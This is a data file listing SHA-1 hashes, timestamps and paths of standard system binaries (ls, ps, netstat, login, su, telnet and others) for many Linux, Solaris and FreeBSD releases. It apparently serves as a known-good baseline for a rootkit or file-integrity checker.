[RedHat Enterprise 5.3] +07A82C1C0378993F7386B6BFB34934B31595E474 Tue Oct 21 12:13:16 2008 /bin/sh [RedHat Enterprise 5.3] + +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Wed Oct 24 17:53:10 2007 /usr/sbin/update-inetd [Ubuntu 8.04] +D8DFDF41A4079837720243E9603007F6009AD51F Thu Dec 13 10:51:45 2007 /usr/sbin/arp [Ubuntu 8.04] +B39C447172AB8825BAC361036B6872B5E91284AA Thu Dec 13 10:51:45 2007 /bin/netstat [Ubuntu 8.04] +313A170DA05A5EE9D10E46967F1F472275B46B53 Mon Feb 25 21:20:32 2008 /sbin/modinfo [Ubuntu 8.04] +7CBCD8AA6DF2FFBFBE783AE7FE7D1EA5A790ED81 Thu Mar 13 22:24:47 2008 /bin/ps [Ubuntu 8.04] +E67CACFB5A56142793129DACA0A080B21860B948 Wed Apr 2 14:22:14 2008 /usr/bin/find [Ubuntu 8.04] +B43226DC595ED6A1AE327C99BC654C57818A39F3 Thu Apr 3 01:08:51 2008 /bin/su [Ubuntu 8.04] +0BA3A17F19A617036F9AA21D064109F1834EB46F Thu Apr 3 01:08:51 2008 /bin/login [Ubuntu 8.04] +0B7CB6E7836DAB38E9DD21708560E68DA1FDF10E Fri Apr 4 06:42:37 2008 /bin/rm [Ubuntu 8.04] +BFB9B77A29318FC6A075323C67AF74D5E3071232 Fri Apr 4 06:42:37 2008 /bin/ls [Ubuntu 8.04] +3877DCB9DA20EC5F446202526144F488C8F07CE0 Wed Mar 12 11:22:28 2008 /bin/sh [Ubuntu 8.04] +1AFB9E68B386BE6926900BF05585F9D8FFF4ECF2 Thu Mar 13 22:24:47 2008 /usr/bin/w [Ubuntu 8.04] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 8.04] + +16D65CF05200881D744C482646E018D91DA121B1 Thu Apr 3 17:53:15 2008 /usr/bin/find [Debian 5.0 x86_64] +9567A981C79E33819762E3C5D3961EFAA43C9042 Fri Apr 4 14:58:40 2008 /bin/rm [Debian 5.0 x86_64] +8FEBAD20D4332BD4928BF0DD35CBA29116782A01 Sat Apr 5 02:06:07 2008 /sbin/modinfo [Debian 5.0 x86_64] +F1BC961389896EE182DD6FA2830476E862DE3008 Thu Sep 4 18:59:03 2008 /usr/sbin/update-inetd [Debian 5.0 x86_64] +5901765B9F62EEB2CDE100AC2FC3CC7D72DA0593 Sun Nov 16 17:06:12 2008 /usr/sbin/arp [Debian 5.0 x86_64] +54D38583EBF341015FEDDFD96F1361956EB60470 Sun Nov 16 17:06:12 2008 /bin/netstat [Debian 5.0 x86_64] +CBB8CE584A89A56C6299CA691751B8C216CC1AA0 Sat Nov 22 18:13:52 2008 /bin/su [Debian 5.0 x86_64] +5BBC3B759499FB20D9DC811D74CBB64C9FD973B5 Sat Nov 22 18:13:52 2008 /bin/login [Debian 5.0 x86_64] +C34642050FF74DA377C3AF80539E13EB28C69142 Mon Dec 15 01:23:23 2008 /usr/sbin/inetd [Debian 5.0 x86_64] +F88B82F7FFBFEF734E6ABBBE4364BCCD86F4A490 Sun Jan 11 22:08:40 2009 /bin/ps [Debian 5.0 x86_64] +6E5AB1C03AA1FA610D0BBFF7A2D7FDAF2CD7C884 Mon May 12 17:00:33 2008 /bin/sh [Debian 5.0 x86_64] +07FFFBB3448ED2C900844D2767CD6EA712DF1E12 Sun Jan 11 22:08:40 2009 /usr/bin/w [Debian 5.0 x86_64] +13828B77A9064DB7873796018AD1FEF1E6475D62 Tue Jul 22 16:05:50 2008 /usr/bin/telnet [Debian 5.0 x86_64] +BC2591610270BFFED20801056379421566840349 Wed Mar 10 21:36:20 2010 /bin/ls [Debian 5.0 x86_64] + +793793420947B93821EF180975B335A4B6D20650 Sun Apr 23 02:04:11 2006 /usr/bin/telnet [SuSE 10.1 x86_64] +8B858DE835271359D6E7084DC6B7B02450BF5508 Sun Apr 23 02:11:05 2006 /usr/bin/find [SuSE 10.1 x86_64] +A4F2A6B85199235462919DC36EE46DA94CB2F682 Sun Apr 23 03:38:40 2006 /usr/bin/w [SuSE 10.1 x86_64] +84175201A7DB3707ABF372BCEBE3563C368E3211 Sun Apr 23 03:38:40 2006 /bin/ps [SuSE 10.1 x86_64] +D1449810CE95AA8173149D429EE9223B7DF5F725 Sun Apr 23 03:41:20 2006 /sbin/arp [SuSE 10.1 x86_64] +B8A790ABB41D722962D4C2E83BF4DF926F39DCD4 Sun Apr 23 03:41:20 2006 /bin/netstat [SuSE 10.1 x86_64] +7D8568E4B8B2132788E0B69E2A5238667CDB62CD Sun Apr 23 04:24:18 2006 /bin/su [SuSE 10.1 x86_64] +22AAC86B74F6504FF13CD83BB20F0699ADBE1821 Sun Apr 23 04:24:18 2006 /bin/rm [SuSE 10.1 x86_64] +8CB7BC4E1ED0C0277B901B340ACBFE8F78DC6EC9 Sun Apr 23 04:24:18 2006 /bin/ls [SuSE 10.1 x86_64] +508CCAEE587346037E17CAEA4A6493EEC07DD886 Tue May 2 09:02:24 2006 /bin/login [SuSE 10.1 x86_64] +EBADB96D583E82FEF8E95CFAA4F238AB9043E553 Tue May 2 13:31:28 2006 /sbin/modinfo [SuSE 10.1 x86_64] +7A9AC26D0CA7F829F1F3D4F479D95D9780FB867B Sun Apr 23 00:50:53 2006 /bin/sh [SuSE 10.1 x86_64] + +A56BD090BF9C945D5240A60447A23F04A845835D Fri Sep 21 21:50:34 2007 /usr/bin/w [SuSE 10.3] +842CFE2E8899DC70DF6154BA1E26348D0F139FA8 Fri Sep 21 21:50:34 2007 /bin/ps [SuSE 10.3] +6DC35C487E3040FD54F4E804FCD8559F0AC141F2 Fri Sep 21 21:50:56 2007 /sbin/modinfo [SuSE 10.3] +EC2A9326550F4D4B649823FE404AA3F90517B435 Fri Sep 21 21:54:24 2007 /usr/bin/find [SuSE 10.3] +6F1ED3EEFDAC7E0CDBC91C71AF09538EBDBCD781 Fri Sep 21 22:07:28 2007 /sbin/arp [SuSE 10.3] +59A34C12483AE3F1D5B7A14EE4278BBEAF7FFBB1 Fri Sep 21 22:07:28 2007 /bin/netstat [SuSE 10.3] +FE4C1ADD0F80ED12AA5421CD55388F98C4996CB2 Fri Sep 21 23:43:36 2007 /bin/su [SuSE 10.3] +59CF9A3D2ACC9F971EFC2FECBBF7E5095139EEA5 Fri Sep 21 23:43:36 2007 /bin/rm [SuSE 10.3] +335818447781126BB45D3B003F96FE8B755B1070 Fri Sep 21 23:43:36 2007 /bin/ls [SuSE 10.3] +CF57210E334952785B2ACD20BB74E08DE6958014 Sat Sep 22 00:48:31 2007 /bin/login [SuSE 10.3] +9A75EFA246E2B57FD138EE43585B48AAB9BCF1AF Fri Sep 21 22:16:17 2007 /bin/sh [SuSE 10.3] +9A75EFA246E2B57FD138EE43585B48AAB9BCF1AF Fri Sep 21 22:16:17 2007 /usr/bin/sh [SuSE 10.3] + +B52EEBC9A952306881A2FA9843F7D3E55CCFAC60 Tue Jul 28 05:19:39 2009 /usr/bin/w [Fedora 12] +7BB2E259C50C5534C0A74A63AE91866728C4EBE4 Tue Jul 28 05:19:39 2009 /bin/ps [Fedora 12] +3C0F8BE2972FA3AD01BC4D23D4852FD6DC5577DE Tue Sep 1 13:31:54 2009 /sbin/arp [Fedora 12] +C35F823B495E481DAA628E90A4961B76E4D77ABE Tue Sep 1 13:31:54 2009 /bin/netstat [Fedora 12] +47CE6C4F04215961C4BD28492D74479974BEA91F Wed Sep 2 14:54:26 2009 /usr/bin/telnet [Fedora 12] +33AFC11D2F25E9379D738CABB12AF94D7BFADA21 Tue Sep 22 14:01:58 2009 /bin/su [Fedora 12] +981504DF286EC9258FDFF3D70A3CECE840DADF91 Tue Sep 22 14:01:59 2009 /bin/rm [Fedora 12] +9184D40C46E457775994D09D366F6BD4692DFD16 Tue Sep 22 14:01:59 2009 /bin/ls [Fedora 12] +27879A4E4F52D6BD4B740632DDB7F994293AE89C Mon Oct 5 15:28:04 2009 /bin/login [Fedora 12] +2CB7A3116B1678DD78A047225441ADEF23A5D4F7 Tue Oct 20 12:58:45 2009 /bin/find [Fedora 12] +9EC451FA6A3990ED5FE44AB2F7EC3090C03E5E7B Wed Oct 21 04:26:04 2009 /sbin/modinfo [Fedora 12] +850425F2EF0CB360D4598271FC4298894D21A061 Wed Sep 16 10:15:30 2009 /bin/sh [Fedora 12] +2CB7A3116B1678DD78A047225441ADEF23A5D4F7 Tue Oct 20 12:58:45 2009 /usr/bin/find [Fedora 12] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.4 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.4 x86_64] +2935F622154EABD65DB395783AA226D491C0DEA6 Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.4 x86_64] +DDEAB63BF1C7EAE86E10BCEF77BC509B7E906F5C Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.4 x86_64] +EF404C56E54048687EAC3BAED75A06B18423C51E Wed Dec 3 10:32:57 2008 /usr/bin/w [RedHat Enterprise 5.4 x86_64] +C02911BB4AAA0E17F17455F500799DCF004A66EC Wed Dec 3 10:32:57 2008 /bin/ps [RedHat Enterprise 5.4 x86_64] +A37E3E187BD8BBD849F0147D4C8590769FC7FE4E Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.4 x86_64] +0AA1F2F090944CB994389884D3A478C97858775C Fri Jul 3 11:17:03 2009 /bin/login [RedHat Enterprise 5.4 x86_64] +FF6ED9BB8E9D71D9C3CDCB28543BC629B7AAE917 Sat Jul 4 02:36:31 2009 /sbin/modinfo [RedHat Enterprise 5.4 x86_64] +4BA52622347F725F6697AD7C7FB20B6862A23759 Mon Jul 13 10:21:47 2009 /bin/su [RedHat Enterprise 5.4 x86_64] +4E4E75CE650BE2192D956A5F6B56240F50581F15 Mon Jul 13 10:21:58 2009 /bin/rm [RedHat Enterprise 5.4 x86_64] +9BCC1D41C003120DF94A126600FFEC6640D1D0EA Mon Jul 13 10:21:58 2009 /bin/ls [RedHat Enterprise 5.4 x86_64] +4710357E270F0E2C27F25E8ABEC3490D5EF10FCE Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.4 x86_64] +EF1F21DF66B0FE2B99C207E6425B68C2A0766671 Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.4 x86_64] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_118833-22] +195A2BAF2C940B9DF444A928DB89BF155DBE8FC6 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic_118833-22] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_118833-22] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_118833-22] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_118833-22] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_118833-22] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic_118833-22] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /bin/rm [Solaris 2.10 Generic_118833-22] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /usr/bin/rm [Solaris 2.10 Generic_118833-22] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_118833-22] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /bin/telnet [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /usr/bin/telnet [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_118833-22] +A467B005ED19F7683DE028FA670211BDA5BFBC3B Mon Jun 6 22:22:38 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /sbin/sh [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /bin/netstat [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/bin/netstat [Solaris 2.10 Generic_118833-22] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_118833-22] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_118833-22] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_118833-22] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_118833-22] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_118833-22] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_118833-22] +0DBC9948E583CE2AF48FA453194C2899B0367140 Thu Feb 15 15:07:20 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /bin/sh [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /usr/bin/sh [Solaris 2.10 Generic_118833-22] +93253EE50A4366CA7CB05E94F33BC96249C4A7D0 Tue May 2 21:38:09 2006 /usr/sbin/inetd [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /usr/ucb/telnet [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/ucb/netstat [Solaris 2.10 Generic_118833-22] + +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 11.0] +5F9C445E9FAF5AC6B688FD037423A7A821D01EEB Thu Apr 27 23:47:08 2006 /usr/sbin/proftpd [Slackware 11.0] +03C9C1C963EFCA2E16C0303CCF2A40CB86079008 Sun Jun 25 01:59:26 2006 /bin/rm [Slackware 11.0] +E9CE345159189022B81BB9D7B7D0C89476FD4022 Sun Jun 25 01:59:26 2006 /bin/ls [Slackware 11.0] +37B709113EDBEB4AA13F24695E2F00D00270A388 Mon Jun 26 00:36:31 2006 /usr/bin/w [Slackware 11.0] +89723F3A91F08B1DDB615163CE4B338D328360CE Mon Jun 26 00:36:31 2006 /bin/ps [Slackware 11.0] +AC3A3031824D3B5A31B4162A125B07596296CA7A Mon Aug 7 01:50:01 2006 /usr/sbin/vsftpd [Slackware 11.0] +DB1DD216C50A063A06C1E62804C4DDB4B1AC20B8 Tue Aug 8 04:11:23 2006 /usr/bin/find [Slackware 11.0] +46BFD204286CBC4DD11A23269C3C6ED77D92EFC5 Sun Aug 13 22:18:42 2006 /sbin/arp [Slackware 11.0] +9D78B0D23ADB1BECBE8D5EB7290196A65F3D2B4E Sun Aug 13 22:18:42 2006 /bin/netstat [Slackware 11.0] +69D51862C2306CCAF5A5E5F7A2A12366F9BABB82 Sun Aug 13 22:19:15 2006 /usr/sbin/in.rshd [Slackware 11.0] +022962A3261303200BB1A4BDA940A43CD5F427B6 Sun Aug 13 22:19:15 2006 /usr/sbin/in.rlogind [Slackware 11.0] +59397F872BF8BE07DAB26D56EEB1929C288ABF42 Sun Aug 13 22:19:27 2006 /usr/sbin/in.telnetd [Slackware 11.0] +3E2D1639189387A7A3FACB536400F5819321D22D Sun Aug 13 22:19:48 2006 /usr/sbin/in.tftpd [Slackware 11.0] +4D52968DF589AC12625A182BCA385B96A5C25CAE Sun Aug 13 22:19:33 2006 /bin/telnet [Slackware 11.0] +C8A6BB3536D51D433B3EA16322AF71D9E40B25AA Tue Aug 22 20:08:46 2006 /bin/su [Slackware 11.0] +687AE699CE6213B4676D0A359696A9FD4A1B4E6C Tue Aug 22 20:08:46 2006 /bin/login [Slackware 11.0] +4269BF9126315F740DB2F078DB1C43EA5C51E291 Mon Sep 11 06:10:20 2006 /sbin/modinfo [Slackware 11.0] +2AEA48492EC1A719E52E9A1B31D3D3864D9C3E68 Sat May 13 23:55:59 2006 /bin/sh [Slackware 11.0] +89723F3A91F08B1DDB615163CE4B338D328360CE Mon Jun 26 00:36:31 2006 /usr/bin/ps [Slackware 11.0] +E9CE345159189022B81BB9D7B7D0C89476FD4022 Sun Jun 25 01:59:26 2006 /usr/bin/ls [Slackware 11.0] +03C9C1C963EFCA2E16C0303CCF2A40CB86079008 Sun Jun 25 01:59:26 2006 /usr/bin/rm [Slackware 11.0] +5F9C445E9FAF5AC6B688FD037423A7A821D01EEB Thu Apr 27 23:47:08 2006 /usr/sbin/in.proftpd [Slackware 11.0] + +84C572C4C36479BAF75595252F3EA8EC440EB303 Sat May 3 10:40:09 2008 /usr/sbin/update-inetd [Ubuntu 8.10] +FB0641D828A93AB17DF08E733262D6DB1FE4C517 Mon Jun 9 18:10:31 2008 /bin/su [Ubuntu 8.10] +78B6EB7189B41E898B0297B119B0A3A9EBDAC71E Mon Jun 9 18:10:31 2008 /bin/login [Ubuntu 8.10] +32EEF1747C08362826236E062BF87E26CF0C35B9 Fri Jun 27 00:31:57 2008 /bin/rm [Ubuntu 8.10] +02190C284FEFE4D13945944730EBB41F88C48FE7 Fri Jun 27 00:31:57 2008 /bin/ls [Ubuntu 8.10] +5553EF1A3D5B9C80E91236DA713D01B26F7D9A95 Thu Jul 3 20:08:35 2008 /usr/bin/find [Ubuntu 8.10] +91B18B56BBD53D10C89FF49DAB657BA40138D207 Thu Jul 17 09:13:07 2008 /usr/sbin/arp [Ubuntu 8.10] +D3F872A8F2538CBDE33B1EBAB9929D103EC1033C Thu Jul 17 09:13:07 2008 /bin/netstat [Ubuntu 8.10] +05A93265B8DA1AE10B7DF5801EA603BD431F3A30 Tue Oct 14 15:52:25 2008 /sbin/modinfo [Ubuntu 8.10] +2302EF85B3A04404C734F2CE3F06E983E1A563FA Mon Oct 27 11:16:41 2008 /bin/ps [Ubuntu 8.10] +91654FD25D317BD13A65E10D777AC021F4A1A4F6 Fri Jun 20 16:07:07 2008 /bin/sh [Ubuntu 8.10] +40796FBD3B9C5CD3A5BFA4481985779CD520A0FB Mon Oct 27 11:16:41 2008 /usr/bin/w [Ubuntu 8.10] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 8.10] + +DAEA758463D8A1B5D87DC8BB66ACC8CB607FFE5C Tue Feb 12 07:54:35 2008 /usr/bin/w [Fedora 9] +C0FD0E90E2A32A08ADE8A7293195D62375E33FD4 Tue Feb 12 07:54:35 2008 /bin/ps [Fedora 9] +18966DCE9BB6983C46427C362DB7BE0048BE20B8 Tue Feb 19 00:26:27 2008 /usr/bin/telnet [Fedora 9] +D865AEF251B41727A1605978C6F0EF9B9643B7D6 Tue Mar 4 15:36:08 2008 /sbin/arp [Fedora 9] +FE3EC66766DAC4E0D4221ED67339539FC2A54C9F Tue Mar 4 15:36:08 2008 /bin/netstat [Fedora 9] +8DE813F7CE781F2608E382A890E6D4A1369573BB Wed Apr 2 14:21:18 2008 /bin/login [Fedora 9] +FF8CBCC412C9963617AF578C679B3281A3239323 Mon Apr 7 20:25:46 2008 /bin/su [Fedora 9] +85ACACEAB87B471E877BCF13BA3CC640276BDE1F Mon Apr 7 20:25:51 2008 /bin/rm [Fedora 9] +ABB9223CF209942C4EC89705D645FFDFFD745A4D Mon Apr 7 20:25:51 2008 /bin/ls [Fedora 9] +837A3450035FE9095B2DEBCB47919F802E658A1E Mon Apr 14 11:22:01 2008 /bin/find [Fedora 9] +8099FB268F77DCBD8E5712F07BE2F8B6643E867B Thu May 1 18:12:39 2008 /sbin/modinfo [Fedora 9] +FDB33B14923884398E9B4E8D5ECB3625DDD2DFF7 Fri Feb 29 14:27:02 2008 /bin/sh [Fedora 9] +837A3450035FE9095B2DEBCB47919F802E658A1E Mon Apr 14 11:22:01 2008 /usr/bin/find [Fedora 9] + +010E1F6C3EDF0C3F5A79701A1BA402FE3C9A0597 Fri Jan 5 04:59:59 2007 /usr/bin/find [Fedora 7] +03B05F953DF26F5A7748C7D116536635B212F412 Thu Mar 22 19:12:37 2007 /sbin/modinfo [Fedora 7] +E9D1ACF923A9E28FC992A19187AAE4D316F10C8E Tue Mar 27 07:35:24 2007 /sbin/arp [Fedora 7] +09E30DEAA10FFB53B08E085A5737D23FB8926658 Tue Mar 27 07:35:24 2007 /bin/netstat [Fedora 7] +306BF70F8906654EF3A153EF19D1A8D84FBE94AC Mon Apr 2 15:33:22 2007 /bin/su [Fedora 7] +AA089ED8D8C802AB6DC65F3FC5C664826D14938F Mon Apr 2 15:33:47 2007 /bin/rm [Fedora 7] +121CFC6D57C66D118A2B96CABEE0451308961C91 Mon Apr 2 15:33:47 2007 /bin/ls [Fedora 7] +AED98BA9318431EA479C13E1E3D02A5440B7E9DC Mon Apr 2 23:35:40 2007 /usr/bin/w [Fedora 7] +3DC78C946E5E505930D676994491602A635E5C92 Mon Apr 2 23:35:40 2007 /bin/ps [Fedora 7] +1A431B68BA8B7B321A5132F701C28CE845BA6B11 Fri Apr 6 11:15:42 2007 /bin/login [Fedora 7] +12B56AD6F4F4811A68A0A40741AA24933F645C9D Fri Apr 13 12:31:46 2007 /usr/bin/telnet [Fedora 7] +41510CF78D3A2EBF800BA8EAAC24558462FCE907 Mon Feb 12 15:18:24 2007 /bin/sh [Fedora 7] + +45B1F6EAD94BC6C2DF983C3997C2A2E98E820843 Wed Oct 9 12:44:10 2002 /bin/ps [FreeBSD 4.7] +8B8604BDFAFEDF2DB585BE384064532F84E214A8 Wed Oct 9 12:44:09 2002 /bin/ls [FreeBSD 4.7] +937C0B14CF18B5B84D6E79DFC9F88327EDDBFDAE Wed Oct 9 12:44:11 2002 /bin/sh [FreeBSD 4.7] +7A23FF19059D447331A9518C3B414F88D5741765 Wed Oct 9 12:44:10 2002 /bin/rm [FreeBSD 4.7] +03B18FB56BC4337014BDF3AF1185152B48E9E978 Wed Oct 9 12:46:17 2002 /usr/bin/netstat [FreeBSD 4.7] +4A3187F10DB26F68D561A6B6957F9436B44EE62A Wed Oct 9 12:46:29 2002 /usr/sbin/arp [FreeBSD 4.7] +76BAEB2DFBA1D8A0DBD18A8A14FA29AF78188C94 Wed Oct 9 12:46:11 2002 /usr/bin/find [FreeBSD 4.7] +8724AEB0A3FF1906C3E913F0372B210C946DC339 Wed Oct 9 12:46:32 2002 /usr/sbin/inetd [FreeBSD 4.7] +B354D21EE210AEBCA8703C5D3DB6922B401C94D5 Wed Oct 9 12:46:22 2002 /usr/bin/w [FreeBSD 4.7] +5562C3BDA7E49CF44C29D7466E474E92DBCC286C Wed Oct 9 12:51:15 2002 /usr/bin/su [FreeBSD 4.7] +9783831A0C4CD9AFF169563CAA1BF99F1B8C4AAE Wed Oct 9 12:51:15 2002 /usr/bin/login [FreeBSD 4.7] +A79736D547CD2EBC9BEB0FA02FAE7745B95FD965 Wed Oct 9 12:55:38 2002 /usr/bin/telnet [FreeBSD 4.7] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_120011-14] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_120011-14] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_120011-14] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_120011-14] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_120011-14] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_120011-14] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_120011-14] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_120011-14] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_120011-14] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_120011-14] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_120011-14] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_120011-14] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /bin/telnet [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/bin/telnet [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_120011-14] +394FF8DE7351F3362E05112AF1F7B54B8AD70FEE Fri Mar 2 01:30:53 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_120011-14] 